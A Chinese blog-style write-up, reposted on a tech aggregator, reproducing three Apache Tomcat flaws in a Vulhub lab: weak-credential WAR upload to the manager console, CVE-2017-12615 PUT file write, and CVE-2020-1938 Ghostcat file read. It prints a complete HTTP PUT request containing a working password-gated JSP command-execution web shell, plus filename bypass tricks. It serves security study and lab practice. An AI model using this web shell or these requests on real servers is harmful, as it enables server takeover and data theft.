IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Java知识库 -> [Vulhuub] Tomcat漏洞复现 -> 正文阅读

[Java知识库][Vulhuub] Tomcat漏洞复现


Tomcat7+弱密码&后台Getshell漏洞

0x00 漏洞描述

Tomcat 支持通过后端部署war 文件,所以我们可以直接将 webshel??l 放到 web 目录中。为了访问后端,需要权限。

Tomcat7+的权限如下:

  • manager(后台管理)
  • manager-gui(html页面权限)
  • manager-status(查看状态的权限)
  • manager-script(文本界面权限和状态权限)
  • manager-jmx(jmx 权限和状态权限)

host-manager(虚拟主机管理)

  • admin-gui(html页面权限)
  • admin-script(文本界面权限)

正常安装 Tomcat8 默认没有用户,管理页面只允许本地IP访问。只有管??理员手动修改了conf/tomcat-users.xml文件中的用户权限属性,我们才能进行攻击。


0x01 漏洞复现

打开 tomcat 管理页面 http://your-ip:8080/manager/html,输入弱密码tomcat:tomcat,然后访问后台:
在这里插入图片描述
WAR file to deploy功能处可直接上传war包gatshell:
在这里插入图片描述
访问验证:
在这里插入图片描述


Tomcat PUT方法任意写文件(CVE-2017-12615)

0x00 漏洞描述

当 Tomcat 运行在 Windows 操作系统时,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。


0x01 影响版本

Apache Tomcat 7.0.0 - 7.0.79


0x02 漏洞分析

Tomcat设置了写权限(readonly=false),导致我们可以向服务器写入文件。

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

默认 tomcat 也不允许 PUT 上传 jsp 和 jspx 文件的,但是我们还是可以通过一些文件系统的特性来绕过这个限制(比如/在Linux下使用)

目前主要三种方法:

  • evil.jsp%20
  • evil.jsp::$DATA
  • evil.jsp/

源码分析:https://paper.seebug.org/399/#32


0x03 漏洞复现

直接发送以下数据包,shell就会写入Web根目录:

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 372

<%
    if("8".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

在这里插入图片描述
访问验证:
在这里插入图片描述


Aapache Tomcat AJP 任意文件读取/包含漏洞(CVE-2020-1938)

0x00 漏洞描述

由于 Tomcat AJP 协议中的一个缺陷,攻击者可以读取或包含 Tomcat 的 webapp 目录中的任何文件。例如,攻击者可以读取 webapp 配置文件或源代码。此外,如果目标Web应用程序具有文件上传功能,攻击者可以通过Ghostcat漏洞利用文件包含在目标主机上执行恶意代码。


0x01 影响版本

Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31


0x02 漏洞分析

Tomcat 服务器对外监听两个端口用于与客户端进行正常的访问通信,分别监听8080端口与8009端口,其中8080端口为正常进行HTTP协议通信的端口,8009端口则是使用AJP协议进行通信,使用二进制格式来传输可读性文本,能降低 HTTP 请求的处理成本,因此主要在需要集群、反向代理的场景被使用。

大部分情况下用户通过HTTP访问Tomcat服务器的时候数据流向是走的HTTP Connector。

但是若需要跟其他服务器有通讯,则其他服务器可以通过Ajp Connector 跟Tomcat进行通讯,可以简单理解为Ajp Connector是一个中间层,由它再将数据转为http给Tomcat服务器。

当我们是用ajp协议请求tomcat服务器时,将转向ajp connector。

我们构造两个不同的请求,经过tomcat内部处理流程,一个走default servlet(DefaultServlet),另一个走jsp servlet(JspServlet),可导致的不同的漏洞。

文件读取漏洞走的是DefaultServlet,文件包含漏洞走的是JspServlet

由于请求路径中不能包含/../,也就导致了该漏洞只能读取webapps目录下的文件。

源码分析:https://xz.aliyun.com/t/7683


0x03 漏洞复现

环境搭建完成后,探测端口会发现有一个AJP端口8009正在监听:
在这里插入图片描述

用exp来复现,项目地址:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
在这里插入图片描述


参考链接:
https://paper.seebug.org/399/#32(CVE-2017-12615)
https://xz.aliyun.com/t/7683(CVE-2020-1938)

  Java知识库 最新文章
计算距离春节还有多长时间
系统开发系列 之WebService(spring框架+ma
springBoot+Cache(自定义有效时间配置)
SpringBoot整合mybatis实现增删改查、分页查
spring教程
SpringBoot+Vue实现美食交流网站的设计与实
虚拟机内存结构以及虚拟机中销毁和新建对象
SpringMVC---原理
小李同学: Java如何按多个字段分组
打印票据--java
上一篇文章      下一篇文章      查看所有文章
加:2021-10-01 16:41:08  更:2021-10-01 16:46:24 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 19:05:57-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码